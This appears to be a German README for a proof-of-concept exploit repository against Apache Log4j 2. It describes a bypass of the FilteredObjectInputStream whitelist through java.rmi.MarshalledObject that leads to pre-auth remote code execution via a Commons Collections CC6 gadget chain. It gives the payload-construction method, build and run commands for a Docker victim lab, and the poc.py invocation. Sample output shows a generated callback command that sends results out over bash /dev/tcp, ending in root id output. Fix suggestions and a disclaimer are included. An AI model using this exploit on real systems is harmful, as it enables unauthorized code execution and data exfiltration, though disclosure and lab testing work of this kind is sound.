
Pre-auth RCE über FilteredObjectInputStream MarshalledObject-Bypass in Apache Log4j 2
Pre-Auth-RCE auf jedem Java-Dienst, der LogEvent über Log4js FilteredObjectInputStream deserialisiert. Keine Anmeldedaten erforderlich.
Gemeldet als GitHub Issue #4255 am 24. August 2026.
Log4j liefert FilteredObjectInputStream (FOIS) als sicheren Deserialisierungs-Wrapper aus. Es überschreibt resolveClass() mit einer Whitelist, sodass nur org.apache.logging.log4j.*, java.lang.*, java.util.* und einige explizite Klassen durchgelassen werden.
Eine dieser expliziten Klassen ist java.rmi.MarshalledObject:
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
"java.math.BigDecimal",
"java.math.BigInteger",
"java.rmi.MarshalledObject", // <-- das Problem
...);
MarshalledObject.get() erstellt intern einen neuen, einfachen ObjectInputStream. Kein Filter. Alles, was in einem MarshalledObject verpackt ist, wird ohne Einschränkungen deserialisiert und umgeht die Whitelist vollständig.
Log4j selbst führt dieses Verpacken durch. LogEventProxy (der Serialisierungs-Proxy für jedes LogEvent) speichert die Ereignisnachricht in einem MarshalledObject<Message>-Feld. Bei der Deserialisierung wird marshalledMessage.get() aufgerufen, um die Nachricht wiederherzustellen. Dieser Aufruf erstellt den ungefilterten Stream. Game over.
Der Filter sieht nur die Top-Level-Klassendeskriptoren im Stream:
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
String name = SerializationUtil.stripArray(desc.getName());
if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
throw new InvalidObjectException(
"Class is not allowed for deserialization: " + name);
}
return super.resolveClass(desc);
}
FOIS prüft LogEventProxy (log4j-Paket, erlaubt), MarshalledObject (in der Whitelist) und byte[] (primitiv). Alle bestehen. Die CC6-Gadget-Kette ist als Rohbytes in MarshalledObject.objBytes versteckt. FOIS sieht sie nie.
Wenn LogEventProxy.readResolve() ausgeführt wird:
// Log4jLogEvent.java:1265-1274
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get(); // ungefilterter ObjectInputStream
} catch (final Exception ex) {
// ignoriere mich
}
}
return new SimpleMessage(messageString);
}
marshalledMessage.get() erstellt einen einfachen ObjectInputStream, die CC6-Kette wird ausgelöst und der Befehl ausgeführt. Der Catch-Block verschluckt die ClassCastException, wenn das Gadget-Ergebnis keine Message ist, sodass der Server normal antwortet. Kein Fehler, kein Log-Eintrag.
Zum Vergleich: ObjectMessage macht es korrekt:
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
in.defaultReadObject();
obj = SerializationUtil.readWrappedObject(in); // erstellt einen GEFILTERTEN inneren Stream
}
LogEventProxy sollte dasselbe Muster verwenden, tut es aber nicht.
Angreifer Ziel (FOIS-basierter Empfänger)
| |
| HTTP POST /log |
| Body: serialisierter LogEventProxy |
| ------------------------------------------> |
| |
| FilteredObjectInputStream.readObject()
| ├── resolveClass(LogEventProxy) ✓ log4j-Paket
| ├── resolveClass(MarshalledObject) ✓ Whitelist
| └── resolveClass(byte[]) ✓ primitiv
| |
| LogEventProxy.readResolve()
| └── message()
| └── marshalledMessage.get()
| └── new ObjectInputStream(objBytes) KEIN FILTER
| └── HashSet.readObject() CC6
| └── TiedMapEntry.hashCode()
| └── LazyMap.get()
| └── ChainedTransformer
| └── Runtime.exec(cmd)
| |
| HTTP 200 OK: "log event" |
| <------------------------------------------ |
Der Server antwortet mit 200 und verarbeitet das Ereignis, als wäre nichts passiert.
Der Trick besteht darin, die CC6-Kette in MarshalledObject.objBytes zu bringen, ohne sie vorzeitig auszulösen.
GadgetMessage implementiert Message und überschreibt writeReplace(), um das CC6-Gadget zurückzugeben:
Log4jLogEvent mit GadgetMessage als Nachricht.LogEventProxy.writeObject() ruft marshall(message) auf, das GadgetMessage in den MarshalledObject-Konstruktor einspeist.GadgetMessage. writeReplace() feuert und ersetzt es durch das CC6-HashSet.MarshalledObject.objBytes die CC6-Kette. GadgetMessage erscheint nie auf der Leitung.GadgetMessage existiert nur auf Angreiferseite. Es muss nicht im Klassenpfad des Ziels vorhanden sein.
| Komponente | Verwundbar |
|---|---|
log4j-api (FilteredObjectInputStream) | 2.11.0 bis 2.24.3 |
log4j-core (LogEventProxy MarshalledObject-Feld) | 2.8.0 bis 2.24.3 |
Das Ziel benötigt außerdem eine Gadget-Bibliothek im Klassenpfad. Dieser PoC verwendet Commons Collections 3.2.1 (CC6-Kette).
Voraussetzungen: Java 11+, Maven, Python 3.10+, Docker (nur Opfer-Labor)
Opfer erstellen und starten:
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..
Exploit erstellen (oder poc.py es beim ersten Lauf machen lassen):
cd exploit && mvn package -q -DskipTests && cd ..
Ausführen:
# --lhost ist deine vom Ziel erreichbare IP
# für das Docker-Labor auf demselben Host die docker0-Bridge-IP verwenden
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1
Ausgabe:
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target: http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999
[*] generating payload ...
[gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
[gen] payload: 2619 bytes
[*] payload: 2619 bytes
[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event
[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)
Benutzerdefinierter Callback-Port:
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444
mvn package in exploit/ aufgerufen, um PayloadGenerator zu kompilieren und Abhängigkeiten zu laden. Bei späteren Läufen übersprungen.java -cp exploit/target/... PayloadGenerator <cmd> auf dem Host aus. Gibt ein base64-serialisiertes LogEvent mit CC6 in einem MarshalledObject aus.--lport (Standard 9999), um die Befehlsausgabe zu empfangen./log-Endpunkt des Ziels./dev/tcp an den Listener zurück.log4j2-rce/
├── README.md
├── poc.py # Exploit-Skript
├── exploit/ # Angreifer (läuft auf dem Host)
│ ├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
│ └── src/
│ ├── PayloadGenerator.java # CC6 + MarshalledObject + LogEvent
│ └── GadgetMessage.java # Message mit writeReplace()
└── lab/ # Opfer (Docker)
├── Dockerfile
├── pom.xml # log4j 2.24.3, commons-collections 3.2.1
└── src/
└── HttpLogReceiver.java # HTTP-Endpunkt mit FOIS
lab/ ist das Opfer. HttpLogReceiver ist ein HTTP-Log-Empfänger mit FilteredObjectInputStream. Standardkonfiguration, keine Debug-Flags, keine künstlichen Schwachstellen. Commons Collections im Klassenpfad als realistische transitive Abhängigkeit.
exploit/ ist die Angreifer-Werkzeugkiste. PayloadGenerator erstellt den serialisierten Payload auf dem Host. Berührt den Opfer-Container nie.
java.rmi.MarshalledObject aus REQUIRED_JAVA_CLASSES.MarshalledObject<Message>-Feld in LogEventProxy durch ein byte[], das über SerializationUtil.writeWrappedObject() / readWrappedObject() serialisiert wird. Das ist dasselbe Muster, das ObjectMessage bereits korrekt verwendet.CC 3.2.1 und früher: InvokerTransformer serialisiert frei. CC6 funktioniert unverändert.
CC 3.2.2 (Nov 2015): Fügte einen Serialisierungs-Guard in InvokerTransformer hinzu, der die Kette blockiert, es sei denn, org.apache.commons.collections.enableUnsafeSerialization ist true.
Der Filter-Bypass existiert unabhängig von der CC-Version. Der CC-Guard ist Defense-in-Depth auf der Gadget-Ebene, kein Fix für den kaputten Filter. Jede andere ungeschützte Gadget-Bibliothek (Groovy, BeanShell, Spring Beans usw.) ermöglicht denselben Angriff.
docker rm -f fois-lab
docker rmi fois-bypass-lab
Nur für autorisierte Tests. Hol dir eine schriftliche Genehmigung, bevor du dies gegen etwas ausführst, das dir nicht gehört.